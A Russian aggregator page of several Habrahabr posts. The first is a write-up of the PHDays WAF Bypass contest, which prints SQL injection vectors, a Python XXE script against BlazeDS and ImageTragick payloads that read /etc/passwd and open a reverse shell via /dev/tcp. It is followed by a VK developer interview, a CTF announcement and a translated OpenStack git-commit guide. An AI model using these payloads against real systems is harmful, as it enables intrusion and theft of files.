Международный форум по информационной безопасности PHDays вновь стал площадкой для конкурса WAF Bypass. Цель конкурса — обойти защитные механизмы PT Application Firewall, чтобы добыть специальные флаги через уязвимости в подготовленных веб-приложениях. Каждое из заданий подразумевало заложенные нами варианты обхода PT Application Firewall, что, в свою очередь, стало возможным за счет отключения ряда функций безопасности. В этом году мы также решили опробовать прототип межсетевого экрана систем управления базами данных (DBFW), который анализировал SQL-трафик от приложений до баз данных (БД).



Задание 1 (JJ)


350 очков

В задании предлагалось обойти алгоритм выявления SQL-инъекций. На сервере приложений был установлен PHP-модуль, который заменяет оригинальную функцию mysql_query() на собственную. В ней значения HTTP-параметров (GET, POST, Cookie) добавляются в начало SQL-запроса в виде комментария.



После того, как SQL-запрос из приложения отправляется к базе данных с помощью подменной функции он перехватывается DBFW. Тот извлекает значения HTTP-параметров из комментария и ищет их в SQL-запросе. Если подстрока, соответствующая значению параметра найдена, то она заменяется на константу. Затем производится токенизация двух запросов: до замены и после. Если количество полученных токенов не совпадает, то это свидетельствует об SQL-инъекции. Известно, что основным признаком атаки типа инъекция является изменение дерева разбора. Если количество токенов изменилось, то и дерево разбора изменилось, а значит произошла инъекция. Логику этого алгоритма мы раскрыли на докладе «Database Firewall from Scratch», где мы поделились опытом исследования механизмов безопасности DBFW. Так что те, кто посетил доклад, могли понять главный недостаток такого подхода: делать вывод об инъекции на основе только количества токенов в общем случае нельзя, так как дерево разбора можно изменить так, что количество токенов в оригинальном и анализируемом запросах будут совпадать. Например, атакующий может дополнить свой вектор комментариями таким образом, что количество токенов в запросах будет совпадать, но сами токены будут другими. Правильный способ — это построение и сравнение абстрактных синтаксических деревьев (AST) двух запросов. Таким образом, чтобы пройти задание необходимо было составить вектор, который по количеству токенов совпадал с оригинальным запросом без инъекции:

/post.php?p=-1 union select 1,2,(select flag from flags order by id,1),4 -- -



Участники же нашли недостаток в нашем ANTLR-парсере для MySQL. Дело в том, что MySQL поддерживает условные комментарии с помощью конструкции /*! … */. Все, что находится внутри такого комментария, будет выполнено MySQL, но другие базы данных такую конструкцию проигнорируют.

http://task1.waf-bypass.phdays.com/post.php?p=(select /*!50718 ST_LatFromGeoHash((SELECT table_name FROm information_schema.tables LIMIT 1)) */) and true and true and true order by id desc limit 10 -- (Арсений Шароглазов)

http://task1.waf-bypass.phdays.com/post.php?p=/*!1111111 union select 1 id,flag,1,1 from flags where 1*/ (Сергей Бобров)

Задание 2 (KM)


250 очков

Во втором задании участники имели доступ к приложению, которое позволяло добавлять заметки. При этом в параметре p передавался полный SQL-запрос в hex:

http://task2.waf-bypass.phdays.com/notes.php?q=53454c454354207469746c652c20626f64792046524f4d206e6f746573204c494d4954203235 (SELECT title, body FROM notes LIMIT 25 )

На языке ALFAScript мы задали политику атрибутного управления доступом (ABAC), разрешающую пользователям выполнение только INSERT, UPDATE и SELECT лишь для таблицы notes. Таким образом, попытки доступа к таблице flags блокировались. Но мы заложили обход, разрешив выполнение оператора CREATE. Предполагаемое нами решение заключалось в создании события, которое запишет флаг в таблицу notes:

CREATE EVENT `new_event` ON SCHEDULE EVERY 60 SECOND STARTS CURRENT_TIMESTAMP ON COMPLETION NOT PRESERVE ENABLE COMMENT '' DO insert into notes (title, body) VALUES ((select flag from flags limit 1), 2)



Кроме CREATE EVENT можно было воспользоваться CREATE TABLE и получить флаг в сообщении MySQL, принудительно вызвав ошибку (решение Арсения Шароглазова):

CREATE TABLE ggg AS SELECT ST_LongFromGeoHash (flag) FROM flags;



Сергей Бобров решил альтернативным способом, использовав конструкцию ON DUPLICATE KEY UPDATE, которая позволяет выполнить UPDATE внутри INSERT одним запросом:

INSERT INTO notes SELECT 1,2,3 FROM notes,flags as a ON DUPLICATE KEY UPDATE body = flag

Задание 3 (AG)


300 очков

Для выполнения задания участникам было необходимо обнаружить и проэксплуатировать уязвимость в одной из старых версий демонстрационного приложения Adobe BlazeDS. Особенность приложения в том, что оно использует для коммуникации с сервером протокол AMF (Action Message Format). Сам AMF представляет собой сериализованную структуру с типизацией полей. Одним из типов является XML (0x0b), неправильный парсинг которого привел к ряду уязвимостей в библиотеках для работы с AMF, в том числе и в BlazeDS.

WAF имел встроенный парсер AMF, однако для задания был отключен парсинг внешних объектов Flex: AcknowledgeMessageExt (алиас DSK), CommandMessageExt (DSC), AsyncMessageExt (DSA). В то же время, BlazeDS мог распарсить такие сообщения и найти в них XML, что в итоге приводило к уязвимости к атаке XXE.

Составить такой запрос можно с помощью библиотеки pyamf:

import pyamf
import httplib
import uuid
from pyamf.flex.messaging import RemotingMessage, AcknowledgeMessageExt
from pyamf.remoting import Envelope, Request, decode
hostname = 'task3.waf-bypass.phdays.com'
port = 80
path = '/samples/messagebroker/amf'
request = AcknowledgeMessageExt(
    operation="findEmployeesByName",
    destination="runtime-employee-ro",
    messageId=None,
    body=[
        ' ]>'
        'External entity 1: &foo;'],
    clientId=None,
    headers={'DSId': str(uuid.uuid4()).upper(),
             'DSEndpoint': 'my-amf'}
)
envelope = Envelope(amfVersion=3)
envelope["/%d" % 1] = Request(u'null', [request])
message = pyamf.remoting.encode(envelope)
conn = httplib.HTTPConnection(hostname, port)
conn.request('POST', path, message.getvalue(),
             headers={'Content-Type': 'application/x-amf'})
resp = conn.getresponse()
data = resp.read()
content = decode(data)
print content


BlazeDS был настроен на работу через внутренний прозрачный прокси, который дописывал заголовок с флагом ко всем исходящим запросам.



Задание 4 (KP)


200 очков

Для задания была использована версия веб-приложения Pasteboard, уязвимая к атаке Imagetragick. WAF был настроен особым образом, чтобы фильтровались только следующие ключевые слова:
url, caption:, label:, ephemeral:, msl:

Однако были доступны менее распространенные векторы. Например, враппер text (в отличие от label перед именем файла не требуется символ "@".):

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'text:/etc/passwd'
pop graphic-context


На выходе получалась картинка с содержимым файла /etc/passwd:



Арсений Шароглазов воспользовался вектором с image over:

push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
pop graphic-context
pop graphic-context


Сергей Бобров нашел в исходниках imagemagick враппер pango:, который ранее не упоминался в известных эксплойтах.

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'pango:@/etc/passwd'
pop graphic-context


Задание 5 (GM)


250 очков

Задание представляло собой форму поиска, уязвимую к SQL-инъекции. Таблица с результатом поиска содержала поле publickey. Задача состояла в том, чтобы через SQL-инъекцию вывести значение поля privatekey. Использовалась следующая политика ABAC, заданная на ALFAScript:

namespace example {
export policy Main {
target clause action == "select"
apply denyUnlessPermit

rule r1 {
permit
target clause resource.schema.id == "information_schema"
}

rule r2 {
permit
target clause resource.schema.id == "task5"
and resource.table.id == "users"
and resource.column.id == "publickey"
}

rule r3 {
permit
target clause resource.schema.id == "task5"
and resource.table.id == "users"
and resource.column.id == "name"
}
}
}


Здесь необходимо обратить внимание на ключевое слово denyUnlessPermit. В рамках языка XACML для описания политик атрибутного управления доступом существует несколько видов алгоритмов комбинирования решений. Использование алгоритма denyUnlessPermit обозначает, что запрос будет разрешен, если и только если хотя бы одно из правил позволяет реализовать доступ пользователя к ресурсу. DBFW не знает реальную структуру СУБД, поэтому когда он видит запрос типа SELECT a,b from c,d, он, в отличии от СУБД, не знает, где находится, например, столбец a: в таблице с или d. В случае таких запросов DBFW вынужден проверять возможность доступа пользователя ко всем вариантам ресурсов. В данном примере к столбцам c.a, c.b, d.a и d.b. Поэтому если построить запрос, который будет содержать хотя бы один разрешенный столбец, то с помощью выборки из двух таблиц, мы можем извлечь privatekey:

Petrov' union select name, privatekey from information_schema.columns,users where name = 'Petrov' --



Задание 6 (ES)


300 очков

Веб-приложение для задания имело две функции: загрузку CSV-файлов со списком контактов и форму поиска по контактам, в которой содержалась SQL-инъекция. В качестве защитного механизма использовался алгоритм DBFW под названием «Dejector». Впервые данный способ выявления SQL-инъекций был описан в работе Hansen и Patterson «Guns and Butter: Towards Formal Axioms of Input Validation”. Суть его в том, что по множеству известных запросов веб-приложения (например, такое множество запросов может быть получено статическими анализаторами исходного кода) строится подграмматика языка SQL. По этой грамматике генерируется парсер. Если запрос распознается парсером, то запрос принадлежит языку, иначе запрос не принадлежит языку, а значит является поддельным.

Для задания мы подготовили грамматику, которая описывала допустимые запросы. Возможность загрузки файлов в CSV давала понять, что пользователь MySQL мог работать с файлами. Другой хинт содержался в ошибке: использовался mysqli_multi_query(), а значит работали стекированные запросы. Обычный LOAD_FILE() был запрещен грамматикой, однако был доступен LOAD DATA INFILE:

'; load data infile '/etc/passwd' into table users character set 'utf8



Результаты





Первое и второе места заняли специалисты «Лаборатории Касперского» — Сергей Бобров и Арсений Шароглазов. Третье место досталось студенту Тюменского государственного университета Андрею Семакину. Поздравляем победителей!

Арсений Реутов (@Raz0r), Дмитрий Нагибин, Игорь Каныгин (@akamajoris), Денис Колегов, Николай Ткаченко, Иван Худяшов
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330002/


Метки:  

«Время жизни вкладки может быть почти бесконечным»: Тимофей Чаптыков о JS-разработке в ВКонтакте

Четверг, 01 Июня 2017 г. 17:12 + в цитатник


Этой весной в хабраблоге ВКонтакте написали «Мы готовы начать говорить о том, что находится за фасадом продукта». Мы не стали упускать возможность — и в преддверии JavaScript-конференции HolyJS, где разработчик VK Тимофей Чаптыков выступит с докладом, задали ему несколько вопросов.

— Чем именно вы занимаетесь в ВК?

— Преимущественно я занимаюсь разработкой раздела сообщений. Но у нас маленькая команда, и зона ответственности каждого разработчика достаточно широкая. И чем дольше человек здесь работает, тем она шире.

— До работы в ВК вы жили в Новосибирске — из-за этой работы и переехали? Недавно новосибирский Java-разработчик рассказывал нам, что ему и в Новосибирске отлично живётся, а что в городе с JavaScript и фронтендом — много ли вакансий, развито ли местное JS-сообщество?

— За прошлый год я побывал в Питере четыре раза. В какой-то момент решил, что проще переехать. Ну и отказаться от предложения поработать над одним из самых больших, сложных и массовых проектов с крайне взыскательной аудиторией было сложно.

В Новосибирске достаточно много крупных IT-компаний, у которых есть вакансии в веб-разработке: Яндекс, 2ГИС, JetBrains, СберТех, Tinkoff.ru. Так что я бы сказал, что в Новосибирске есть ребята, которые умеют делать сложный масштабируемый фронтэнд. Есть несколько локальных конференций и митапов, раз в год проводится одна из крупнейших в России IT-конференций CodeFest.

— У ВК почти 100-миллионная месячная аудитория. Как такая посещаемость влияет на разработку вообще и JS/фронтенд в частности?

— Сейчас все изменения сначала выпускаются для небольшого процента пользователей. По этим пользователям мы собираем отдельную статистику. Она помогает нам оценить, повлияет ли релиз на нагрузку.

Иногда этого недостаточно. Некоторые фичи мы выкатываем только по ночам, если допускаем возможность, что релиз может повлиять на производительность и работу под нагрузкой. Ночью по московскому времени нагрузка ниже, и если мы увидим аномалии на графиках, то успеем откатить изменения или выпустить хотфиксы до того, как наступит пиковая нагрузка и появится риск сбоя сервиса.

При нашей нагрузке мы не можем позволить себе простые подходы к обновлению статики. Мы не можем себе позволить объединить все скрипты в один файл и обновлять его при каждом деплое. Если все пользователи придут одновременно за файлом, выдержать нагрузку будет сложно. Один лишний запрос, который сделают 100 миллионов пользователей, может привести к катастрофическим последствиям. Поэтому мы версионируем статику, подгружаем динамически (страница будет подгружать ту версию статики, которая с ней совместима), разбиваем на небольшие куски по разделам и возможностям сайта.

Некоторые изменения мы вообще не можем вносить напрямую. Мы же не можем выключить сайт на несколько дней, пока проводится миграция базы с миллиардами записей.

Когда у тебя 100 миллионов активных пользователей в месяц, теория вероятности начинает работать против тебя. Количество экспериментов такое, что невозможные события становятся ежедневной рутиной. Если баг воспроизводится один раз на миллион, это значит, что этот баг будет воспроизводиться много раз ежедневно. Надо прорабатывать детально даже совсем невероятные сценарии.

На фронтенде сказывается то, что иногда кейсы использования ВКонтакте сильно отличаются от других сайтов. Например, время жизни вкладки с сообщениями может быть почти бесконечным: вы открываете вкладку, и она живёт месяцами. Это заставляет нас больше думать о расходе памяти.

Иногда жёсткие требования по производительности возникают от большого объёма кода. Например, сборку пришлось организовать не совсем тривиально и мейнстримно.

Я думаю, нам чаще, чем большинству разработчиков, приходится думать о структурах данных, в том числе на клиенте. На нашей кухне чаще услышишь разговоры об алгоритмах и структурах данных, чем о новых библиотеках и методологиях.

На сайте мы почти не используем внешние зависимости. Технически каждый раздел на клиенте — это отдельное JS-приложение. Из общих ресурсов — система для кодсплиттинга и версионирования статики, работа с мультиязычностью, утилиты для работы с DOM, запросами на сервер, небольшое общее хранилище, некоторые переиспользуемые решения для пользовательского интерфейса.



— Ещё давно, когда Node.js был малоизвестным нишевым решением, его популяризатором в России стал разработчик ВК Олег Илларионов. А используют ли Node.js в ВК сейчас, когда это уже более чем мейнстрим?

— В большинстве случаев мы по объективным причинам не можем использовать Node.js на бэкенде — слишком медленно на наших объёмах. Поэтому мы, как и вся индустрия, используем Node.js для сборки фронтенда. А там мы используем традиционный набор инструментов: Gulp, Webpack, Babel.

— Ранее ВКонтакте выкладывали в опенсорс собственные KPHP-наработки — а в случае с JS у соцсети есть какие-то значительные внутренние «велосипеды», которые теоретически могут когда-то оказаться в опенсорсе, или там в основном пользуетесь готовыми решениями?

— У нас в продакшене используется очень мало готовых решений. В package.json в основном репозитории объявлены только 4 зависимости. Две из них — полифиллы, две — библиотеки для записи и кодирования звука в mp3.

Значительных внутренних велосипедов много. Но часто наши решения узкоспециализированные, они не будут востребованы в «массовом» секторе разработки. Например, инфраструктура вокруг KPHP имеет достаточно высокий порог входа, его использование накладывает определённые ограничения. А проектов, на которых можно было бы ощутить значительную пользу от его внедрения, не так много.

Тем не менее, я рассчитываю, что открытого программного обеспечения в области фронтенда у нас будет больше.

— JS-мир часто критикуют с позиций «в современном фронтенде, чтобы написать “Hello world”, нужно 360 МБ зависимостей». А при работе в ВК это приносит неудобства, или в таком масштабном проекте это незначимый фактор по сравнению с другими?

— Ну, это точно не главная проблема, которую нам предстоит решить =) У нас 140 МБ зависимостей в node_modules. На мой взгляд, один из самых серьёзных технических вызовов — устранение технического долга и развитие инфраструктуры для разработки и тестирования. В наших реалиях мы должны это делать без снижения темпов разработки новых фич. И всё той же командой в несколько десятков разработчиков на все наши продукты.

— Ваш доклад на HolyJS называется «React со скоростью света: не совсем обычный серверный рендеринг». А не мешает ли вам использовать React то, что он создан в Facebook? :)

— Приходите на доклад, там я расскажу, что итоговое решение не основано на React =)

Я бы рассматривал React скорее как термин, обозначающий подход, чем как название конкретной библиотеки. Говоря про React, мы обычно имеем в виду Virtual DOM, декларативный рендеринг, компонентный подход, JSX.

В большинстве случаев React можно с минимальными усилиями заменить на другую библиотеку, которая использует те же принципы. А ещё найти какие-нибудь бенчмарки, которые покажут, что выбранное решение при определённых обстоятельствах работает быстрее. =)

Мне нравится Preact — крошечная библиотека в 4 КБ, которая предоставляет все базовые возможности, к которым мы привыкли в React.

Непосредственно React сейчас не используется на сайте ВКонтакте, но есть в нескольких наших проектах. Например, VK Messenger — это десктопное приложение на Electron, написанное на React.

— Спасибо. Напоследок хочется уточнить из-за вашего ироничного твита про счётчик уведомлений: а можете для всех, кто с этим не сталкивается профессионально, кратко объяснить, почему это сложная задача?

Главная проблема, стоящая перед Computer Science — счетчик новых уведомлений.

— Timophy Chaptykov (@Chaptykov) March 17, 2017


— Счётчик новых уведомлений — одно число, которое выводится в результате работы огромного количества систем. Причём обычно это сложные и запутанные многоуровневые системы с кэшированием, асинхронным выполнением задач, очередями и вычислениями, которые проводятся на огромном количестве серверов. В результате сбой любой части любой из этих систем может привести к тому, что пользователь увидит неправильное значение на счётчике.

Мне кажется, иронично, что сложность систем в IT постоянно привлекает к себе моё внимание поломанными красными счётчиками у некоторых приложений на моём телефоне.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330000/


Метки:  

Как нагрузочное тестирование процессинга обошлось нам в €157 000 и почему никого не уволили

Четверг, 01 Июня 2017 г. 16:47 + в цитатник

Квест от ЕРАМ: пять задач с собеседований по .NET

Четверг, 01 Июня 2017 г. 16:25 + в цитатник

Метки:  

[Из песочницы] Простой туториал React Router v4

Четверг, 01 Июня 2017 г. 16:14 + в цитатник

Метки:  

BI.ZONE объявляет выборы президента CTFzone

Четверг, 01 Июня 2017 г. 15:45 + в цитатник


Последний год по праву можно назвать «годом выборов». Повсюду переполох и шум, страсти не стихают уже который месяц. Настала очередь CTFzone!

Компания BI.ZONE объявляет о проведении выборов президента CTFzone. Выборы будут максимально свободными и независимыми – никаких партий и звезд политической арены, только Вы и Ваш кандидат. Командам предлагается сыграть роль избирательного штаба и помочь своему кандидату одержать победу.

Первый онлайн-этап выборов, Праймериз, стартует 24.06.2017 в 09:00 UTC и продлится 36 часов. Формат – Jeopardy, 5 категорий. В следующий этап пройдут только 10 кандидатов.

Второй этап соревнования, Президентские выборы, будет проходить в очном формате 16-17 ноября в рамках конференции ZERONIGHTS 2017.

Борьба 10 избирательных штабов-команд на этом этапе будет намного более агрессивной – Attack/Defence формат предполагает защиту сервера своего штаба и атаку серверов избирательных штабов соперников. Тяжелая битва полностью оправдывается – команда-победитель не только сможет объявить своего кандидата Президентом CTFzone, но и получит $10 000. Команды, которые заняли 2 и 3 место, получат $5000 и $3000 соответственно.

Президентские выборы чрезвычайно важны для CTFzone, поэтому наша компания покроет расходы на проживание и дорогу для команд, прошедших во второй тур (важно – состав команды не должен превышать 5 человек). Ввиду значимости мероприятия мы просим команды соблюдать правила – за нарушения могут дисквалифицировать. Строго запрещено:
- Атаковать инфраструктуру организаторов;
- Генерировать большой объем трафика (DDoS);
- Проводить атаки на компьютеры жюри;
- Обмениваться флагами с другими участниками.

Регистрация команд откроется 9 июня на портале ctf.bi.zone. Следите за обновлениями в блоге BI.ZONE на Хабре и в Твиттере.

Всем удачи на выборах!

Make CTF great again.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/329994/


Метки:  

[Из песочницы] Перевод статьи: Лучшая практика создания Git Commit'ов от OpenStack

Четверг, 01 Июня 2017 г. 15:31 + в цитатник

Предлагаю читателям "Хабрахабра" перевод статьи "Хорошая практика в сообщении коммитов от OpenStack".


1 Git Commit Лучшая практика


Следующий документ основан на опыте разработки кода, устранении ошибок и просмотре кода в ряде проектов, использующих Git, включая libvirt, QEMU и OpenStack Nova. Рассмотрение других проектов с открытым исходным кодом, таких как Kernel, CoreUtils, GNULIB а также других, предполагает, что все они следуют достаточно распространенной практике. Это мотивировано желанием улучшить качество истории Git проекта Nova. Качество — это абстрактный термин для определения в разработке; когда для одного человека некий код «Красивый» (Thing of Beauty) — то для другого это «Костыль» (Evil Hack). Тем не менее мы можем сформулировать некоторые общие рекомендации о том, как и что делать, или, наоборот, чего не делать, когда отправляют Git коммиты для слияния с проектами в OpenStack.


Эта тема может быть разделена на две области:


  1. Порядок объединения или разбиения на несколько коммитов
  2. Информация в сообщениях коммитов

Содержание



1.1 Краткий обзор


Мысли и примеры, описанные в этом документе должны ясно продемонстрировать важность разбиения изменений в группу последовательных коммитов, а также важность написания хороших сообщений к ним. Если эти инструкции будут широко применяться, это значительно улучшит качество истории git'а OpenStack. Кнут и пряник необходимы для эффективного изменения истории git'a. Этот документ должен быть пряником, обращая внимание людей на выгоду и пользу, пока для других использование системы коллективного инспектирования кода Gerrit будет действовать как кнут. ;-P


Другими словами, при инспектировании в Gerrit’е, не просто нужно смотреть на корректность кода. При инспектировании сначала нужно изучить сообщение коммита и указать на улучшения самого сообщения. Приглядитесь к коммитам, которые объединяют множество логических изменений и потребуйте у отправителя разбить их на раздельные коммиты. Убедитесь что изменения с форматированием отступов не объединяются с функциональными изменениями. Также убедитесь, что рефакторинг кода зафиксирован отдельно от функциональных изменений, и так далее.


Также нужно упомянуть, что обработка Gerrit’ом серии патчей не совсем идеальна. Однако не стоит считать это веской причиной, чтобы избегать создания серии патчей. Используемые инструменты должны подчиняться потребностям разработчиков, и поскольку они с открытым исходным кодом, они могут быть исправлены или улучшены. Исходный код «часто читают, время от времени пишут», и, следовательно, наиболее важным критерием является улучшение долговременной поддержки кода при помощи большого количества разработчиков в сообществе, и не стоит жертвовать многим из-за одного автора, который может быть никогда не прикоснется к коду вновь.


А теперь подробные принципы, а также примеры хорошей и плохой практики.


1.2 Структурное разделение изменений


Основным правилом для создания хороших коммитов является предоставление только одного «логического изменения» для каждого коммита. Есть множество причин, по которым это важное правило:


  • Чем меньше изменяется код, тем быстрее и проще его проверять и выявлять потенциальные недостатки.
  • Если будет обнаружено, что коммит некорректен или битый, может потребоваться откат плохого коммита. И это будет намного проще сделать, если нет других несвязанных изменений в коде, которые смешиваются с исходным коммитом.
  • При устранении проблем, например при использовании команды git bisect, небольшие, хорошо сформированные коммиты помогут точно определить, где и когда была внесена проблема в коде.
  • При просмотре истории git'а с помощи git annotate или git blame небольшие хорошо сформированные коммиты помогают найти и изолировать проблемную часть кода, а также понять откуда появился проблемный фрагмент.

1.2.1 Чего нужно избегать при создании коммитов


Необходимо знать и понимать часто встречающиеся примеры плохой практики, чтобы их избегать:


  • Смешение форматирования отступов и пробелов с функциональными изменениями кода.

Изменения форматирования будут скрывать важные функциональные изменения, что затруднит для рецензента точное определение правильности коммита. Решение: Создайте 2 коммита, один с изменениями форматирования, другой с функциональными изменениями. Обычно изменение отступов делают первым, но это не является строгим правилом.


  • Смешивание двух несвязанных функциональных изменений.

Опять же рецензенту будет труднее выявить недостатки, если смешать два несвязанных изменения. Если возникнет необходимость в более позднем откате сломанного коммита, необходимо будет разобраться и распутать два несвязанных изменения с дополнительным риском создания новых ошибок.


  • Отправка больших новых функций в одном гигантском коммите.

Вполне возможно, что код для новой функции полезен только тогда, когда присутствует вся реализация. Однако, это не означает, что вся функция должна предоставляться в одном коммите. Новые функции часто влекут за собой рефакторинг существующего кода. Весьма желательно, чтобы любой рефакторинг выполнялся в отдельных коммитах, а не в тех, в которых реализуются новая функция. Это поможет рецензентам и наборам тестов подтвердить, что рефакторинг не имеет непреднамеренных функциональных изменений. Даже недавно написанный код часто можно разделить на несколько частей, которые могут быть независимо рассмотрены. Например, изменения, которые добавляют новые внутренние API или классы, могут быть в отдельных коммитах. Опять же, это приводит к упрощению проверки кода. Это также позволяет другим разработчикам получать маленькие куски работы при помощи git cherry-pick, если новая функция не совсем готова к слиянию. Добавление новых публичных HTTP API или RPC-интерфейсов должно быть выполнено в коммитах, отдельных от фактической внутренней реализации. Это побудит автора и рецензентов подумать об общем дизайне API или RPC, а не просто выбрать дизайн, который проще для выбранной в настоящий момент внутренней реализации. Если патч влияет на публичный HTTP, используйте флаг APIImpact (см. Включение внешних ссылок).


Главное следовать правилу:


Если изменение кода можно разбить на последовательность патчей или коммитов, то оно должно быть разделено. Меньше - НЕ больше. Больше это больше.


1.2.2 Примеры плохой практики


Теперь немного проиллюстрируем примеры из истории Git Nova. Примечание: хоть хэши коммитов цитируются для ссылки, имена авторов удалены, поскольку мы не должны обвинить или оскорбить ни одного человека. Время от времени каждый из нас виноват в нарушении правил хорошего тона. Кроме того, люди, которые рецензировали и одобряли эти коммиты, так же виновны, как и тот, кто их написал и отправил;


1.2.2.1 Пример 1


Коммит: ae878fc8b9761d099a4145617e4a48cbeb390623
Автор: [удалено]
Дата: Пт. 1 Июня 01:44:02 2012 г. +0000

Рефакторинг вызовов метода create libvirt

 * Сводит к минимуму дублирование кода для create
 * Заставляет срабатывать wait_for_destroy при выключении
   вместо undefine
 * Позволяет уничтожить экземпляр при выходе из домена
 * Использует reset для жесткой перезагрузки вместо create / destroy
 * Заставляет resume_host_state использовать новые методы
   вместо hard_reboot
 * Заставляет rescue/unrescue не использовать жесткую перезагрузку
   для пересоздания домена

Change-Id: I2072f93ad6c889d534b04009671147af653048e7

В этом коммите выполнено как минимум два независимых изменения.


  1. Переход на использование нового reset API в методе «hard_reboot»
  2. Корректировка методов внутреннего драйвера, чтобы не использовать "hard_reboot"

В чем же тут проблема:


  • Во-первых, нет никаких веских причин, по которым эти изменения необходимо было вносить одновременно (в одном коммите). Первый коммит мог включать изменения для прекращения вызова в разных местах метода «hard_reboot». Второй коммит мог бы переписать реализацию «hard_reboot».
  • Во-вторых, переход на использование метода reset libvirt был запрятан в большом рефакторинге кода, и рецензенты это пропустили, а ведь это вводило зависимость от более новой версии API libvirt. Этот коммит был найден как проблемный достаточно быстро, но тривиальный откат невозможен из-за большого числа несвязанных изменений.

1.2.2.2 Пример 2


Коммит: e0540dfed1c1276106105aea8d5765356961ef3d
Автор: [удалено]
Дата: Cр. 16 Мая 15:17:53 2012 +0400

Документ lvm-disk-images

Добавлена возможность использования томов LVM для дисков VM.

Реализует поддержку LVM дисков для драйвера libvirt.

VM-диски будут храниться на томах LVM в группе томов
 указанных параметром `libvirt_images_volume_group`.
 Другой параметр `libvirt_local_images_type` указывает, какой тип
 хранилища будет использоваться. Поддерживаются значения: `raw`,
 `lvm`, `qcow2`, `default`. Если `libvirt_local_images_type` =
 `default`, будет использоваться с флагом `use_cow_images`.
Логический параметр `libvirt_sparse_logical_volumes` управляет тем,
 какого типа логические тома будут создаваться (распределенные с
 помощью virtualsize или обычные логические тома с полным
 выделением пространства). Значение по умолчанию для этой
 опции `False`.
Коммит вводит три новых класса: `Raw`, `Qcow2` и `Lvm`. В них
 содержатся логика создания образа, которая была сохранена в
 методах `LibvirtConnection._cache_image` и` libvirt_info`
 благодаря чему создаются правильные конфигурации `LibvirtGuestConfigDisk`
 для libvirt. Класс `Backend` выбирает, какой тип образа будет
 использоваться.

Change-id: I0d01cb7d2fd67de2565b8d45d34f7846ad4112c2

Это изменение вводит одну новую крупную функцию, поэтому на первый взгляд кажется разумным использовать одиночный коммит, но, глядя на патч, он явно сильно сбивает с толку, так как содержит существенный объем рефакторинга кода с новой функцией LVM. Этот факт затрудняет определение вероятных регрессий при поддержке образов QCow2 / Raw. Его следовало бы разделить на меньшие по размеру, как минимум на четыре раздельных коммита.


  • Заменен флаг конфигурации «use_cow_images» новым флагом «libvirt_local_images_type» с поддержкой обратной совместимости для устаревшего флага «use_cow_images».
  • Создание внутреннего класса «Image» и реализация подклассов Raw & QCow2.
  • Рефакторинг libvirt драйвера для замены кода управления образами raw / qcow2, при помощи вызова нового класса «Image».
  • Внедрение новой реализации класса образа «LVM».

1.2.3 Примеры хорошей практики


1.2.3.1 Пример 1


Коммит: 3114a97ba188895daff4a3d337b2c73855d4632d
Автор: [удалено]
Дата: Пн. 11 Июня 17:16:10 2012 +0100

Обновление политик по умолчанию для KVM гостевых VM таймеров PIT и RTC

Коммит: 573ada525b8a7384398a8d7d5f094f343555df56
Автор: [удалено]
Дата: Вт. 1 Мая 17:09:32 2012 + 0100

Добавлена поддержка настройки часов и таймеров VM libvirt

Вместе эти два изменения обеспечивают поддержку настройки таймеров гостевых KVM. Внедрение новых API для создания XML-конфигурации libvirt было четко отделено от изменения политики создания гостевых систем KVM, в которой используются новые API.


1.2.3.2 Пример 2


Коммит: 62bea64940cf629829e2945255cc34903f310115
Автор: [удалено]
Дата: Пт. 1 Июня 14:49:42 2012 -0400

Добавлен комментарий к методу rpc.queue_get_for().
Change-Id: Ifa7d648e9b33ad2416236dc6966527c257baaf88

Коммит: cf2b87347cd801112f89552a78efabb92a63bac6
Автор: [удалено]
Дата: Ср. 30 Мая 14:57:03 2012 -0400

Добавлены методы shared_storage_test для вычисления rpcapi.
...пропуск...
Добавлен get_instance_disk_info в метод вычисления rpcapi.
...пропуск...
Добавлен remove_volume_connection в метод вычисления rpcapi.
...пропуск...
Добавлен compare_cpu в метод вычисления rpcapi.
...пропуск...
Добавлен get_console_topic() в метод вычисления rpcapi.
...пропуск...
Добавлен refresh_provider_fw_rules() в метод вычисления rpcapi.
... много других коммитов ...

Эта последовательность коммитов реорганизовала весь слой API RPC внутри OpenStack Compute (Nova), чтобы можно было использовать реализацию подключаемых систем сообщений. Для такого существенного изменения основной части функциональности, было ключевым моментом разделение работы на большую последовательность коммитов, позволяющим сделать осмысленную проверку кода, а также упростило отслеживание изменений и поиск возможных регрессий на каждом этапе процесса.


1.3 Информация в сообщениях коммитов


Текст сообщения коммита является таким же важным, как и само изменения кода. При создании сообщения есть некоторые важные вещи, которые нужно помнить:


  • Не предполагайте, что рецензент понимает, в чем изначально была проблема.

Часто не всегда бывает ясно в чем была проблема, даже если были прочитаны отчеты об ошибках (bug report), а также пару комментариев. Сообщение о коммите должно содержать четкое изложение исходной проблемы. Конкретный баг — это только лишь интересная историческая справка о том, как проблема была выявлена. Рецензенту должно быть понятно что же делает предложенный патч для правильности принятия решения, не изучая этот дефект в системе отслеживания ошибок.


  • Не предполагайте, что у рецензента есть доступ к внешним веб-сервисам или сайтам.

Через 6 месяцев, когда кто-то в поезде / самолете / автобусе / пляже / баре будет устранять проблему и просматривать историю git'a, нет гарантий, что у него будет доступ к онлайн-отчету об ошибках или к серверу с документацией. Распределенные системы управления исходным кодом (SCM) сделали большой шаг вперед в том, что вам больше не нужно быть «онлайн», чтобы иметь доступ ко всей информации в репозитории. Сообщение коммита должно быть полностью самодостаточным, чтобы продолжать извлекать пользу из git'a.


  • Не предполагайте, что код самоочевиден / самодокументирован.

То, что очевидно для одного человека, может быть абсолютно непонятно другому человеку. Всегда документируйте, в чем была исходная проблема и как она исправляется, на каждое изменение, конечно же кроме исправлений очевидных опечаток или изменения форматирования.


  • Опишите, почему изменения были сделаны.

Частая ошибка заключается в том, чтобы просто описать, как код был написан, без описания почему разработчик решил сделать это именно таким образом. Самое главное объяснить намерение и мотивацию изменений, но так же не забудьте описать общую структуру кода.


  • Прочтите сообщение о коммите, чтобы понять, указывает ли оно на улучшение структуры кода.

Часто при описании большого сообщения становится очевиден тот факт, что изменение нужно было разделить на две или более частей. Не бойтесь вернуться назад и разделить его на несколько коммитов.


